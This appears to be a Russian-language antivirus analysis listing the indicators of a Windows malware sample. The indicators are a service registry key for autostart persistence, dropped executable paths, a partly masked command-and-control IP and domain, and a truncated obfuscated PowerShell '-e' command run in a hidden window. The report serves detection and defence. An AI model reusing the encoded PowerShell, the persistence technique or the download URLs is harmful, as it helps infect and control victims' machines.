Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\KBDBGPH1] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDBGPH1] 'ImagePath' = '"%WINDIR%\SysWOW64\mfcm100\KBDBGPH1.exe"'
- 'KBDBGPH1' "%WINDIR%\SysWOW64\mfcm100\KBDBGPH1.exe"
- 'KBDBGPH1' %WINDIR%\SysWOW64\mfcm100\KBDBGPH1.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AG...
- %HOMEPATH%\t6a8ckm\rgai_h_\c8_g0pv3.exe
- %WINDIR%\syswow64\mfcm100\kbdbgph1.exe
- %HOMEPATH%\t6a8ckm\rgai_h_\c8_g0pv3.exe в %WINDIR%\syswow64\mfcm100\kbdbgph1.exe
- '15#.#86.0.121':80
- http://lo####gangnam.com/4W/dz/
- http://15#.#86.0.121/3dExxw/r5LZP7zsf4JeIZKII5Q/pmh2L3Wr/nJ21Y3EJkCm98xvAg/I7XP9hcr7w7y4imGDP/
- DNS ASK lo####gangnam.com
- '%HOMEPATH%\t6a8ckm\rgai_h_\c8_g0pv3.exe'
- '%WINDIR%\syswow64\mfcm100\kbdbgph1.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AG...' (со скрытым окном)